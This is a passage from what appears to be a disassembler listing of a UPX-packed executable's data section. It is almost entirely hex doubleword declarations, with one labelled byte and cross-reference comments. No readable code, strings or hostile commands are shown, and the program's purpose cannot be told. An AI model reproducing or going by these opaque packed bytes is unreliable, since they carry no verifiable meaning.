57B6AE6Eh, 899B70AAh, 543DBC00h, 0B5BED514h, 69F07DD7h dd 0C0EF7DE0h, 0ECDB3780h, 0C6FFEA4Dh, 0F7BC5F7Bh, 0B9DBEFA5h dd 7EBDE7ACh, 0B5BC3E4Dh, 0E24C6FF3h, 0FF34B4A8h, 826C56BBh dd 0CABAB168h, 4BE79862h, 4AC66B8Fh, 0AE003523h, 6A70C2E4h dd 1C568F5Ch, 0FAE70F7Bh, 0F5CD6EFEh, 4DCB85A2h, 0F6EB4FD9h dd 163C051Ah, 0B950CB97h, 9CA4CF1Bh, 931A6371h, 0D2B5D545h dd 8A9519Eh, 383280FEh, 60B375DDh, 331D647Fh, 65EA1E14h dd 2D927B7Ah, 255E73BBh, 14DE029Dh, 60DB3BB1h, 3E87FF8h dd 0DEF5651Ch, 1268F807h, 613AC657h, 84389D92h, 5ED7044Eh dd 723713A0h, 3417A427h, 2D28F8F8h, 311F05DBh, 945E41BBh dd 0FE9DDB4Ah, 7CDBF4FAh, 0DDCDE6A7h, 4066BEEBh, 9B844D92h dd 0F90954F0h, 0FF9F2AECh, 6952F4EBh, 93E65303h, 0C8B6AF1Ah dd 0E55E3405h, 0EB98E473h, 7242A525h, 0F0039D82h, 8CEF3FA8h dd 71C90A9h, 3C8E2525h, 0B209234Dh, 0B075B08Bh, 76BCB0EFh dd 36B8752Dh, 37AD8784h, 5BEDEDBEh, 0C2C355A9h, 8A75AC03h dd 22D5E446h, 40C79DC1h, 254EE6BBh, 4EFA08F0h, 560C9C88h dd 4EE91DDCh, 449B8F2Bh dd 0E02EF43Dh, 2B421FC0h, 15DC16D1h, 0F39C1654h, 0B8DBAD5Ah dd 77B6EB29h, 0B3D8296Fh, 0E0B2AD34h, 589AF794h, 0AB8A41DCh dd 218272CAh, 706B6EB0h, 0FAF1CDBAh, 5A6C1174h, 0BCB29378h dd 1841EF36h, 0F78EF0ADh, 0B706E718h, 0E9FA4EC2h, 32181A94h dd 9A2A5DF5h, 0C343B9D2h, 0E8486DDh, 50EE64Dh, 0F943A2B7h dd 9AD6F072h, 0C4C530DFh, 4687DC19h, 44E5132Bh, 0A333BDA3h dd 6BEEA33h, 0E2B606DEh, 0EFCA89F5h, 0AA59435Eh, 0B3EDDD72h dd 0CA46D338h, 0D6E23784h, 615683B5h, 65311B9Ah, 0E0A97D7Bh dd 0E8F61F47h, 0AB803EEDh, 0F76CF0F3h, 51685909h, 2E60D0ACh dd 50B12FB4h, 9A9378AEh, 0E2ED5F0Bh, 14CEF426h, 3A221152h dd 0C9D70554h, 0A14B7A10h, 5AB10A6Ch, 0C3D0053h, 8ED0480Fh dd 6A5AEEE9h, 1F98ABEFh, 0C587EC91h, 0FDA14C79h, 0EF468DFDh dd 0BD5FBC88h, 0DF4E34Ch, 74E225C1h, 91784D7Eh, 3C2B53Ch dd 0F51C839h, 9519DCBDh, 2525D6FAh, 52AEBAC0h, 9EA9C9B6h dd 0FF141E04h, 18E061A2h, 1360CBF0h, 0DC1B1905h, 1B5EA195h dd 0F51FB5CCh, 0B4081824h, 0F1574D8Ah, 3A0ED25Eh, 7BF148F5h dd 88E4F294h, 2B8932BDh, 0DE68C3F8h, 0A82B8668h, 0E29F53E7h dd 0FC25268Dh, 0F02314Eh, 7C668833h, 9EF7C8C4h, 1B370416h dd 52E2165Bh, 528A0DD0h, 0E7007F7Ch, 1B29837Bh, 5560A9C2h dd 60D1C087h, 5F9E5A3Fh, 0DE204B01h, 88279001h, 0A9D8779Ch dd 48ED5273h, 36862E4Fh, 8905760Fh, 7595C31h, 0A44D8E32h dd 0FADE4F70h, 0D7BE53AAh, 7CD6B1h, 532C60FEh, 2EADBA79h dd 1C6E0D6Bh, 0AB0BD36Ah, 0DFBCB2F3h, 5031313h, 0C362838Dh dd 6FA9007Eh, 0C493232Ah, 5630BFE1h, 971E318Eh, 1B1A9E21h dd 6CFAF71Fh, 111771Eh, 0B575B8B0h, 0BA7341BCh, 32D4BB0Bh dd 8F4FFC42h, 0AE162E5Ah, 642A5A84h, 8B51E32Dh, 1DE16A99h dd 57D5554Eh, 3735A26Fh, 93B0A3DAh, 0DDDECE18h, 99295700h dd 749240B4h, 0B965A316h, 0B7EB940Ch, 0AFBACE46h, 6DF1FC43h dd 6FC5AE26h, 0B70F86DFh, 2C859C3Fh, 37D30879h, 0CEEBF7B3h dd 9E777E1Fh, 0B5691539h, 800DF1A3h, 932EF85h, 0CEEAC179h dd 0B79346E8h, 0CCC4F56Fh, 0D1F2EC55h, 67A51163h, 36C31179h dd 61E6748Fh, 5BE5AB11h, 19DB9D35h, 0A58AB303h, 0AE65A3F6h dd 0A79D41B8h, 594676F6h, 1CEE24C6h, 0C7D4D787h, 2AB21168h dd 0E37E7822h, 0BA8B6E2Fh, 6C8E3945h, 3CDF8587h, 0EC5E5D13h dd 3F6FEBAFh, 3ABF7F6Dh, 0B19F52EFh, 0FAB9B970h, 83A5B8ECh dd 3FE6CFAAh, 0DAEEB162h, 4AFF1A1Fh, 0A68BFBC8h, 1797BFF0h dd 0A6BB0B19h, 343AFDA4h, 0FC29A4A3h, 7EA92105h, 53781F05h dd 0E0F6BE83h, 737736CCh, 50A9FB39h, 0E19D15C4h, 99A2A311h dd 24B2DAD9h, 0C4953F82h, 448EF1F1h, 0DF1FF98Ah, 0D2B36473h dd 90050BE3h, 0C1AD8BBCh, 0E7BA8A95h, 6908B80h, 71485C67h dd 62206137h, 4EAF3F8h, 0F425F9C3h, 7E25ABF3h, 0A53A2815h dd 2B2E343Dh, 5D45FD46h, 38EDB1DFh, 2B017C7Eh, 58B85D6Fh dd 6B5A5A5Ch, 0D6D131CEh, 2B0672EAh, 699B315Ah, 4AC5496Fh dd 47E4A94Bh, 0EAA58DD5h, 533A1D4Ch, 2518B0EFh, 939AA685h dd 9B8ACA89h, 2AD34BE6h, 0BBE934CCh, 1B269CF3h, 0DE3B78DBh dd 0B6026CA1h, 3A4059B1h, 0A7367CCDh, 837DAC4Bh, 4B08DAF5h dd 58DEE83Fh, 0BA6C77CEh, 66B59076h, 57032E0Bh, 0DEF58D77h dd 16EDAEEEh, 0D85EE453h, 1E0064ADh, 22B570E3h, 5FD39FA6h dd 7AC0063Ch, 68E9C889h, 0DCC02274h, 79C6135Ah, 345A1F3Ch dd 5A1A8B3Fh, 0F04BED40h, 0C08AB2FCh, 3C0D68D3h, 0FC79B713h dd 5A25C7EFh, 0AF728EBBh, 3C6490C5h, 0C31EA964h, 8E340D65h dd 49D6FE3Bh, 2D0C58F5h, 0CBFDDC56h, 52A92F52h, 0BDE9CC50h dd 0A950E54h, 740CF22Fh, 380397CFh, 737AADF4h, 0D4CB9BEBh dd 8B3DC473h, 167757C8h, 2F4C6EDBh, 0C40FD7F5h, 0A44BB2BDh dd 1B38ACB1h, 9E3C209Bh, 54A546ABh, 12E0C7A5h, 4357BEF3h dd 7D170DF6h, 6FAE1F5h, 70F3B3B8h, 11A53A5Dh, 85024E68h dd 65D4FC62h, 0A6932486h, 81E855F5h, 6D4A87C8h, 0D1390C33h dd 55787F89h, 5F539A34h, 0B0E0595Eh, 0FE7F022Ch, 45CAB255h dd 0E7EAFD4Ch, 997C6E70h, 0EBEE915Fh, 8EDF12E7h, 48E11D04h dd 4E4D7E57h, 9A2DA6EFh, 9DBACEEAh, 0A1D1DEE5h, 0C557F56Bh dd 3AA5C0D6h, 42878641h, 0DE70745Bh, 1779C0AAh, 73E97730h dd 0B80D87E2h, 0BD70EA2Bh, 77CF551Ah, 0B921A15Fh, 6F4F832Ah dd 0CF53DFC1h, 54977C2Bh, 0E3B8BCF9h, 2443860Ah, 6A6C2538h dd 1418348Eh, 0B7F0425Ch, 0A3B6B745h, 0BA8B80E7h, 9EB1D132h dd 7B010937h, 8E7958BAh, 22E99A9Fh, 95E261D9h, 0F20DE67Ah dd 4779862Ah, 0D74C4A10h, 330901B5h, 2954B136h, 0EE04E5BDh dd 0B432AA54h, 111EC05Ch, 96ABD736h, 0F503B76Ch, 0A17C948Ch dd 0FA1B52Fh, 34CB192Bh, 9E33842Ch, 1242EFC2h, 9F0F454Ah dd 511F2E69h, 2D85E57h, 9C6EA6CBh, 1EAF2259h, 0EB694F3Eh dd 220711A4h, 0B6018ECEh, 146900C3h, 3F48E247h, 3CBDCC49h dd 0EB080A61h, 9A39094Dh, 0A72ED93Ch, 0B037AE48h, 0B32A9CBFh dd 39624204h, 0A5BBECD9h, 5ED55832h, 4C2D38EBh, 0ABE4E81h dd 0A244B2E5h, 37597F11h, 0EE7EF1Ch, 331DB301h, 13295BC6h dd 0B47CD191h, 0C1046DC0h, 549E1FC6h, 0FAB790B0h, 0DE0904AFh dd 83ACF151h, 0ACF13BC4h, 1826C1EEh, 0DF527BB9h, 443E8F67h dd 40892CFBh, 1DC4B125h, 25EBD27Ch, 0C144A2C6h, 387DB193h dd 91CF86AFh, 0E91DA721h, 0AAD5EF46h, 125B2651h, 0CC52B8AAh dd 0D22A84Ah, 0B684455h, 0E1FC784Ah, 2061AE0Eh, 0FEF260D5h dd 27132F20h, 52E16250h, 0F0A12231h, 0F5F8500Fh, 0D4986027h dd 0B79DBA6Dh, 7D800C68h, 70F5FCC3h, 32C6E885h, 8109EEB0h dd 270F28BDh, 0F2CD7D07h, 0D0552469h, 8DF3938Eh, 0B4C618C7h dd 0A94A4F36h, 4DAA6E34h, 68477C34h, 506C0A15h, 652CCCC1h dd 0FCADA20Bh, 756BCE12h, 0B289A0C9h, 54AE4F40h, 5D263D24h dd 0C34915E1h, 0C125BFAh, 0ABF8E7EBh, 5EF60FB6h, 0F4509143h dd 5B06C638h, 0A820EF7Dh, 0A2DFD9DBh, 0A6DFD9DBh, 0BF0F9FBFh dd 82315790h, 0BC635D4Eh, 4EF1529Dh, 0FEC00680h, 0F5B3C766h dd 0BED88B55h, 1FCE1B17h, 1A272A4Dh, 0D34C5E68h, 0C5953681h dd 8C157A55h, 6B599448h, 0ED66932Eh, 7636906Fh, 0F027FC0Dh dd 0B8DD24A7h, 0EF405FFDh, 3ACEDBAFh, 0DEF67810h, 72A8B2BFh dd 0F014823Dh, 211A0939h, 0AA636027h, 0C4759979h, 0B8FB7913h dd 0B2065ACAh, 0DD768517h, 67E7AAC2h, 0EF79F66Ch, 0C844C033h dd 5A75587Fh, 0EFA2CEFFh, 4DD81796h, 8A141D61h, 0F74B37Bh dd 0D5820BC5h, 0B499785h, 259F9EB9h, 0A1ADC2D8h, 0A90BC39Ah dd 1E7CFDC3h, 0BD0B8636h, 0EE82CF27h, 0E3DD7096h, 0B2C18918h dd 4DB09636h, 38B5A4B7h, 662FD3D7h, 663C3613h, 7E6D9559h dd 3C8CCC1Bh, 0FDD6DBA5h, 0EE313A4Eh, 0E8511D56h, 5D8C4B2Dh dd 0BEFBC8CDh, 0E0A62E24h, 2B249420h, 4F3133F3h, 0C4A866BEh dd 4C35298Ah, 6B0DBE9Ch, 3F926915h, 6366C6ABh, 19C7BFB4h dd 2CECBA3Eh, 286F9776h, 366FC835h, 0E61953F3h, 5DFD5CE8h dd 0B3B2E778h, 883E48D8h, 0E62E05DDh, 7B566870h, 0CB0DE10Ch dd 0F87B62CEh, 3210C146h, 0A767DA5h, 0E6B592FCh, 7248C20Eh dd 3173FE8Fh, 73384BB6h, 56C59D9h, 45335E2Bh, 9CCE26F5h dd 8013198Ah, 0D0350DA7h dd 4A71C4D2h, 8CB2F95Bh, 9A36E8C7h, 4AB8EC12h, 5E72BE13h dd 2455A88Eh, 9B52A1BAh, 64412D9Ah, 0D797ADF9h, 6850000Eh dd 26918EB7h, 826809B4h, 13E73603h, 86E86498h db 7Ah byte_520045 db 59h, 5Fh, 0D8h ; DATA XREF: UPX0:0042BC88o ; UPX0:0042BCA0o dd 7005AF15h, 85261721h, 17C4C7FDh, 30C00EDh, 0B5C8167Bh dd 0DDEAC3Ah, 5AA50CDBh, 405C7C2Eh, 9DDEEDAEh, 0D26CF6C1h dd 99C355C4h, 0A6FB85EEh, 18763152h, 0F1B9FAA3h, 3730ADF7h dd 4D806FA0h, 0F4ACDD06h, 9F776358h, 0C3C39000h, 0B1FDC8DEh dd 439BAE63h, 0E667CD45h, 24FE2933h, 0C4D43DD6h, 81350142h dd 0D731EDADh, 3AE1E28Ah, 952372B9h, 6CD8460Fh, 1FF17223h dd 0A943CC16h, 33770BF8h, 0C7917C2Dh, 7EE1A50h, 2BB0B140h dd 61CBF102h, 0C095C0FCh, 0FB71420Dh, 9E5C5769h, 2AB8A772h dd 0A928E8Bh, 360C5CB3h, 0CE193D14h, 0F91E617Ch, 93D475DEh dd 489B5658h, 0D86652CAh, 6B7C9C8Dh, 0E201E497h, 95BA91B3h dd 6BE4E76h, 8E886EC9h, 67E26FDDh, 636AAA8h, 0A0DDB0FCh dd 4B43062Bh, 0BB09C066h, 13FD06C9h, 0FA3266A3h, 0EDA14DEBh dd 0C4CA00A0h, 598CDDC4h, 0D9874123h, 0F7E0D03h, 1710956Bh dd 6F22A57h, 6959DF4Bh, 8B5ED381h, 6DC0E8E6h, 0E61D1B0h dd 85D7B11Fh, 495AA433h, 6AB7684h, 6D688808h, 0F25D8BE2h dd 0CC7D6DA5h, 0CA41BB41h, 95110849h, 33764B89h, 4D8A0853h dd 4458F76Ah, 0E53CDDFFh, 0EE4D7352h, 708B0388h, 507D796Ah dd 8DF5DDF0h, 0CCB96AEEh, 0D8BBC229h, 30AF0BA9h, 627CDAA4h dd 74942551h, 34274374h, 0D3F32A3Ch, 0E177D7BDh, 9B4FA97Eh dd 24B2512Eh, 9BDC2DA2h, 0FFC55808h, 0CD96972Ch, 0E9B7B8F2h dd 5F6C592Dh, 8F544AE0h, 4BB03D3Eh, 0A9B8FD3Eh, 0E0BD1F2Bh dd 0E02CEE92h, 44BCE148h, 0EE6D0167h, 0B2DAA8D5h, 96B8799Ch dd 180BC077h, 0F4444F9h, 60EBEA45h, 5781AD4Fh, 187F2241h dd 9F1AE026h, 4D2BB20Ah, 5069DEECh, 46B4ED6Eh, 1A4EC771h dd 0C2741B47h, 583E1121h, 0C71ECA26h, 4226D2C0h, 0E79BE242h dd 0D8774622h, 198D2CB3h, 0B1C7F79Ah, 778354h, 5F2524D1h dd 0DCB48CD1h, 0ABB1DD84h, 6CAE0536h, 0F5FF6A4h, 0A65D785Eh dd 1899421Ah, 0E5980596h, 8EA52F8Eh, 0FCA59CB7h, 0E568ED13h dd 3CC51EC6h, 3E47DD99h, 0C666944Ah, 1500BE47h, 44C1FCC0h dd 0E0AA1F63h, 0FC151E86h, 0E90547A0h, 5426862h, 0FC20AA4Eh dd 8EFC4D0h, 387F789Fh, 4E3402B1h, 644E4ACFh, 9BE464F4h dd 8095E232h, 0F6E70F83h, 147BFFE4h, 254F112Bh, 0B2C3CB14h dd 65E5ACCDh, 2073F623h, 9106714Dh, 0E2E2A530h, 690F0C1Dh dd 464BE322h, 5E476129h, 626F9A45h, 0B4C0D10Fh, 81A29E8Ch dd 580684BCh, 0B8FED026h, 1FC65D14h, 0B56B2C58h, 0F2F19458h dd 9990ADEAh, 0EC065F2h, 0F27D1656h, 3E6C137Ah, 0E20E6B5Ah dd 9D847B60h, 0B4477E8Dh, 0EDD3ED73h, 8D46F0E7h, 72C651B9h dd 0D8E79DDFh, 150E31F3h, 1E50BB9Fh, 0D8E720BAh, 0F723C0D6h dd 0AE2516E9h, 0C472AF91h, 7D80438Bh, 9F3D6665h, 9EA69628h dd 0EA28CE8Ah, 29BE1A3Ch, 0BBE6C2AFh, 982EEBB1h, 2AE7A23Bh dd 4C4478FCh, 28E52210h, 6CB472A9h, 2A55C3B8h, 547C6BC4h dd 0BAEC26B2h, 64AC1A1Ah, 768E823Dh, 0EC35E7B1h, 0F78C4882h dd 0B118E280h, 20A7ED1Eh, 0E490C547h, 94793B28h, 56C8B8CCh dd 93D7F12Bh, 78389CF5h, 0A9C21CB1h, 6C24B18h, 9813DBCEh dd 952B4E11h, 0BDC5F2E6h, 11D9D3BFh, 46F948B3h, 0B1F18619h dd 5C084C65h, 0CA06BF46h, 375CCBC8h, 653068EAh, 0DE133027h dd 38F35574h, 10FE0715h, 815A02A8h, 0DE9D1579h, 6D8BCBE9h dd 8B088AEBh, 9E535EE1h, 0C13ECB7Bh, 7FAB937Dh, 60FB8963h dd 17DD5B36h, 0FA6306E3h, 0C57CB925h, 0F8634960h, 0D7F08F8Fh dd 0AAFA003Dh, 0F8D86454h, 2A0D843Ch, 1D101B07h, 0F1615790h dd 87F459Ah, 5ABA1CBEh, 1D825EE1h, 437FB545h, 311FCFE8h dd 81712EFAh, 104DD7E1h, 0F4513EF9h, 0FB231C3Bh, 0F7DF85C6h dd 455C0CD3h, 1CE28B87h, 45857FEFh, 98BAF66h, 3BC1E2FCh dd 0FE7E05D0h, 0FC3C590Eh, 0B37575CCh, 0E723FAF7h, 236467BDh dd 3AF4F12Eh, 54033CC6h, 0E8D465A3h, 8D9BBDECh, 0AA8561B3h dd 0D7795654h, 0F7519D4Bh, 0EC6E2C24h, 0E446BADCh, 3808570Ch dd 18917716h, 0CB89C7A6h, 0B0253106h, 60F0DB0Fh, 114DC30Dh dd 2DCCE4CCh, 9AA4BB94h, 10243E9Fh, 824A9FC4h, 0CFD217F8h dd 0F4F5CD53h, 6492AAF7h, 4C654ED0h, 6267E60Fh, 0B735AC01h dd 7A376850h, 7E2BBDA5h, 0B7E8C95Fh, 11A71726h, 9F31D85h dd 134A36ADh, 2C5DF211h, 4251451h, 0DD58D52Bh, 6B75CBF6h dd 2EBBDA52h, 6205BE51h, 4218695Ch, 0F327888Bh, 0E0BBC8A4h dd 0E5286F9Ch, 0CAD5C5C7h, 6250FC31h, 9990533Bh, 0AE68C35Ah dd 0EC1B1BF0h, 788670C9h, 53A21785h, 0DC32EF68h, 8BB37914h dd 77A72164h, 538EEC94h, 6EC72351h, 1AB8D98Fh, 29C525DAh dd 0A686DBDEh, 1132A663h, 70F8C449h, 0E530D9F1h, 2EA2E29Bh dd 0FB44277Eh, 0C7C7A26Ah, 0EC5DACC6h, 348781BCh, 34FEDC42h dd 2660C203h, 0D22417AAh, 1D7D4492h, 7D4EEE48h, 0EA664B6Dh dd 6181ACBh, 72A1C2D5h, 0D8507268h, 0BA0CABB0h, 4BF94CE0h dd 362950C6h, 2D8515DAh, 555B6203h, 48FE6CADh, 0DDB9E4B6h dd 7CA4C7Dh, 0ED9CD413h, 8B7F4BAFh, 91495606h, 56C4DAD1h dd 0E88EE0A6h, 480265E3h, 1E88F7FAh, 5348DF09h, 941DB314h dd 0F1489498h, 32D31729h, 7A9453ABh, 0CDDDF418h, 5B086C89h dd 0F1746382h, 358940E0h, 618A8B13h, 7299FC6Ch, 9AD68C79h dd 0B092498Dh, 0C3801AA8h, 4977E5B5h, 0C5D563D2h, 622B1BF1h dd 0A93C683Bh, 63FCB12Eh, 7DF873EAh, 3581FC9h, 5992A8F7h dd 0CCB4D674h, 0C769C0A3h, 5C2F6AB0h, 9227366Bh, 147672D7h dd 2C309E51h, 7798AE9Eh, 2E8F7113h, 88D1A321h, 893AF3B5h dd 3E8DA03Bh, 0C5732F3Eh, 779B64F4h, 145012ACh, 3CCD445Bh dd 0D87DD2DEh, 72EC3922h, 0E675FC5Ah, 0FF7F3D58h, 4ED1CC6Dh dd 6C5C100Ch, 5B314A38h, 8B621960h, 638DDE34h, 956FE447h dd 0E1CF444h, 5EBCCC26h, 0FADDE36Bh, 0BE1F9471h, 95323774h dd 742A9309h, 0A5975945h, 128EBE92h, 4FDD3BD8h, 0C9F4FC50h dd 60D20712h, 380CDE2Eh, 2B95132Fh, 0D1B3D13h, 0A9A62F13h dd 0F759301Dh, 9559147Dh, 1112E398h, 0EBA473D2h, 0C9770E39h dd 0D6EE2991h, 73D70C73h, 0C392E96Ch, 0D3496E26h, 5E4E7709h dd 807925D5h, 964F52B8h, 771695EEh, 0F452BE49h, 0D3BBC997h dd 64B0D712h, 9932E95h, 0E3445856h, 19542CFDh, 0E7E42921h dd 7A9F90DCh, 33C512D3h, 961C1A7Dh, 97544914h, 410533E9h dd 0D9002C48h, 0A545ABC7h, 0BE3742B4h, 0F04CE98Ch, 0BBCA52A3h dd 6206A984h, 0CBFE446Dh, 0BB12447Ch, 3EA5030Eh, 197CA89Bh dd 2628B92h, 5E5207F2h, 0ED64365h, 3E46788h, 0BBA7128Dh dd 0BB04F6EDh, 1A25924Bh, 6322DBC1h, 7B5EC56Eh, 9D00629Dh dd 2B9EF74Eh, 0EDAE7D81h, 2F9F18CFh, 0BEB8C567h, 919DD67Ch dd 0E17AE6AFh, 0EF35AD00h, 0BBC018C6h, 0CF80307Bh, 0FA0A141Bh dd 0CFF4B15h, 0E92411BAh, 53912AECh, 56F4644Eh, 0DB825DFDh dd 0F58672C5h, 78A7E4E8h, 0C63C9837h, 69FB34F0h, 607E2D8Fh dd 0E0E54559h, 0D5D887EEh, 0F8E0FA62h, 7E9CD005h, 8E08A83Ch dd 0CB0F3EB1h, 941A46Bh, 0AFA7A23Ch, 1E223CEh, 42388B8Eh dd 0C932E9FBh, 71322614h, 0B8985D19h, 0C5636378h, 0E11483E7h dd 55FD1E25h, 95785F22h, 0B0A55B78h, 0D662937h, 95D37ED3h dd 0A0EBFCB1h, 77E58C2Eh, 58CAEEBFh, 85D41F2Eh, 6BFC3CB1h dd 0E7B31F09h, 0CCECFCC6h dd 9C5CCBE8h, 780E9514h, 45041D89h, 562AC15Ch, 4303FEFh dd 0E916D477h, 0B13603Fh, 24C70F46h, 1E7616D2h, 597A6526h dd 0E66C3158h, 43D829D8h, 0DDB9F17Fh, 0EBFD2792h, 1D81F466h dd 0DDC459B5h, 21E55843h, 742AB6C2h, 0DB49414Dh, 239A7371h dd 0B3AFE652h, 14E77910h, 0EFA490A1h, 0CF8AE25Ch, 2E999ED9h dd 5B8A8E6Ch, 73612B36h, 0A750B7D4h, 82536F1h, 0DC5C5985h dd 2D751717h, 8AE926F7h, 923B7C8Dh, 0DC71FE40h, 359C78C6h dd 0DD986780h, 0A35C1F2Eh, 6C3EA611h, 6519D55Ah, 8AAB52F6h dd 58AC35E0h, 4E3A583Bh, 23F364F0h, 8BCEF11Eh, 0DF94E0B8h dd 46E45E7Bh, 706F7521h, 3E1B2908h, 58CD9220h, 4741B19Ch dd 7034BCA3h, 42B02149h, 3C4BDE1Fh, 565BC483h, 0A46D5025h dd 3EF71425h, 6D3915D4h, 8A35484Ah, 0C98A1EDBh, 1CFD177Ah dd 50176548h, 0D89D2F8Ah, 4602D71Eh, 0FA96172Bh, 49AF19DEh dd 1E937D4Ah, 45BEA5D2h, 31B94ACFh, 0C0596355h, 8ABD8F97h dd 6A12B37Eh, 0DD6FD160h, 6FD13183h, 6FD15759h, 5D32BF43h dd 37E37BF4h, 0BC71E37Ch, 9DD83C3Ch, 0EF3488FCh, 39D98EDEh dd 826AAC11h, 936915B1h, 5B5E2CD3h, 11C0E528h, 92994A4Fh dd 0E42E703h, 9595BC4Ch, 0B2CCA8CFh, 39642E18h, 59D45C70h dd 0CB1AB0EFh, 75F7F7C4h, 0EA6F0391h, 0CCDE072Ah, 504DE072h dd 81CB8D22h, 0C0E4C537h, 3957A9Bh, 8E07215Bh, 0DE2653B7h dd 14D80FBCh, 720FE5Eh, 592677F6h, 0F703A57h, 2FAFE2Eh dd 290EC53Ch, 9496704Fh, 7EEDB09Ch, 8FCB02FBh, 0F18FAEF9h dd 9610825Ch, 37C7CE62h, 0AF66C485h, 20DD8F2Ch, 0D56BD411h dd 0D819214Bh, 0F71B584Bh, 96BF6AA7h, 39A356B1h, 0E797ED36h dd 64E39855h, 559079E4h, 0C3530E84h, 58931E49h, 2E824030h dd 96C5E73Ch, 1E28B074h, 0D42185D0h, 3589958Bh, 0B25A15FDh dd 0D90026CCh, 0E5ADDD0Ah, 26DF62CDh, 0DF2D1096h, 7D18592Bh dd 826EAF70h, 0EEEC8102h, 7AAD72E9h, 0AF5B3A05h, 75533677h dd 9D2E83F6h, 0C38638BDh, 117AD0DCh, 0C1DC2D7Bh, 7183A80Fh dd 6C5836ECh, 8BD968E2h, 7E2F546Bh, 0E3C8BDC8h, 0A139745Eh dd 16BF6Eh, 0C80984F7h, 0A948F3DCh, 2F5255F8h, 973E49A2h dd 4CF255BCh, 30977632h, 79204057h, 0F6235AB3h, 69A31305h dd 90459E7Ah, 394AE5B5h, 0B26C1996h, 84C473A4h, 0CBB66E64h dd 59263209h, 0C97E413Fh, 0FCE9869Eh, 2CD30F88h, 417FECDEh dd 0A84A6339h, 0FBF071EBh, 838E5DFEh, 3D74562Fh, 7FB7FE0Eh dd 61A0E397h, 33917FC5h, 66C87176h, 118D3254h, 0E65E34B0h dd 3486E7EDh, 0B27C65A7h, 2F24117Ch, 0E7A8C545h, 9E6D0775h dd 2D613624h, 9C87BF3Ah, 0B5F35DABh, 0F49F81E1h, 4BF1D6DDh dd 0E21407D6h, 85073BEh, 0A3D150C9h, 0EB5D27CAh, 273FEF14h dd 0AC9348Dh, 0F151B4E7h, 0B3E04C08h, 18D0B78Ah, 40D01C9Dh dd 0AB2C6701h, 3A525B6Ah, 9D7B07Eh, 0AEA4CDF9h, 0FA278CE2h dd 0F4671775h, 2FDBFF11h, 9207AC7Eh, 0E002AD24h, 4A58B719h dd 0A66F7E35h, 1861E111h, 25A4D3A1h, 6AAAD450h, 624313C7h dd 9B194BDEh, 84644DE2h, 2A613FF8h, 763F5293h, 947372DFh dd 13FF74DDh, 921AAC6Fh, 0D622ABF3h, 5267DE27h, 949EC5DAh dd 68AB8886h, 0F1E15010h, 0C2DC60Eh, 317121CEh, 82ECE8A2h dd 812805FFh, 955A0D51h, 0EB00E965h, 2BA1C7B6h, 0AAE14456h dd 1083B5EBh, 91FE7043h, 95A33B33h, 53B8E3DAh, 46C25576h dd 440F9DEFh, 0EF995A3h, 2B62F94Bh, 850676F5h, 9C832BCAh dd 63F05C4Eh, 8677A62Eh, 0F8A7BE8Bh, 0A84AE6C3h, 3BBBD5EAh dd 431579A3h, 6AD35ACh, 0CFE6CAE5h, 0DE789E0Ch, 8F078AD8h dd 46769457h, 0DF62655Dh, 166BD500h, 29E75D8Fh, 27677B74h dd 7F71CC27h, 3E37D391h, 9E46B99Fh, 0CF98F9CFh, 7CF096D7h dd 87EBC4BAh, 45D142A5h, 0B7A98CECh, 17C44A4Ah, 6D2578E6h dd 2584AE06h, 89593E77h, 5643B21Bh, 0D815976Ah, 57D055BAh dd 0E0A8486Ch, 34C15945h, 0AABC62F4h, 552A7260h, 0A170C2B0h dd 82C4581Eh, 0AE7E0A84h, 4E0A807Ah, 782B203Dh, 71879E12h dd 980BD34Fh, 777318Dh, 2D227EB3h, 644BBEA1h, 6FA8597Dh dd 1F5922FFh, 0ED62A964h, 23B5AC87h, 0A70709EDh, 0A4D749C1h dd 4549F619h, 0F7E349F6h, 0E3FEBE88h, 7CBBDC6h, 5B4D7E18h dd 0D627020Dh, 9F65B14h, 0D61BDEC2h, 0E6057E1Ah, 0C948E41Eh dd 76B7C68h, 6791E29Dh, 0A62FA178h, 3FE5FA63h, 0E0CC0742h dd 5C05725Eh, 0FD015D12h, 2C504DD3h, 0AE962839h, 0E9234CE6h dd 99F971F3h, 0E3071926h, 12E0A05Fh, 24EB3A1Dh, 0ACE96D1Dh dd 0DD2A593Ah, 0AA68B0D4h, 0D975FA54h, 2795D46Ch, 9E577AB3h dd 25E6B7F4h, 5BAE4E68h, 0C1476C41h, 869F6F5Eh, 0E15C2CC2h dd 1D0267E7h, 8F5E6B5Ah, 5754085Dh, 99834674h, 72D22F6Dh dd 9C295C48h, 0CAE609FDh, 36D0B4F9h, 0D05868C3h, 94E0AC77h dd 0ED7964B7h, 2CA950B3h, 6DF1BE6Eh, 0EFA094EFh, 8DDAF2D0h dd 0D4AA6E1Ch, 6C89FF6Ah, 0B52A07C5h, 8BE07FEAh, 0B25C2E28h dd 45389535h, 4D953FE5h, 5A7F6F60h, 5F9F3119h, 0ED64585Ah dd 0F1DF416Dh, 1284EFA0h, 0B3F270Ch, 59F1B0C1h, 4A6497DCh dd 2BA6D8A1h, 0DBA874A0h, 0F4F392CAh, 0E6906D1h, 0A0569BADh dd 1771949Ch, 0EB6D28D2h, 36946BA7h, 60F4A038h, 7CD5D690h dd 6DAA6D66h, 0B46EAE3Dh, 0C0C159A9h, 0D70F2201h, 9B585D43h dd 1A060E6Ah, 0AFBC211h, 0F755D05Dh, 8630765Bh, 0C17EDE0Ch dd 78D3BEC0h, 13EE13E7h, 0AC81D40Ch, 361B8A74h, 486910E2h dd 6C9E99A9h, 2B439C6Bh, 7027CFFFh, 580F779Dh, 0C3F8A337h dd 0EA58CED9h, 2368398Eh, 27BC335Dh, 1D6ACC08h, 0F5EE378Dh dd 629F545Eh, 0B6A7E685h, 75B83B38h, 0CC18D507h, 6A4EF785h dd 9D95A5F7h, 0F36E5951h, 5FE88E1Ch, 51A4A2C6h, 0D9B9296Eh dd 0B79CF528h, 4DEAD197h, 6089467Ch, 0E0036687h, 0D31D15DEh dd 0C452CA19h, 33611F3Fh, 85A15A27h, 0F0A75F28h, 14FB7119h dd 0DC481DF4h, 0A09B1F4Ah, 2EE625B6h, 0D6E54AECh, 736AB09Bh dd 5E4EE240h, 7EFD95D8h, 3088251Eh, 7F12E9CEh, 170DF8BBh dd 0DA24EF99h, 6925D6C6h, 45C25896h, 0BEE44552h, 3172F8C4h dd 47D22F5Fh, 6B1F7C7Ch, 0D2B6E6B9h, 781A48CAh, 0D6904CE6h dd 19CA958h, 0E77B8588h, 0C61AAF63h, 38D32510h, 2FB2F4E2h dd 0CCB4D90Ch, 27CC50F5h, 0F5939570h, 0F0564D0Ch, 5178B5E9h dd 583DB158h, 7A7C14D1h, 3EB95B0Dh, 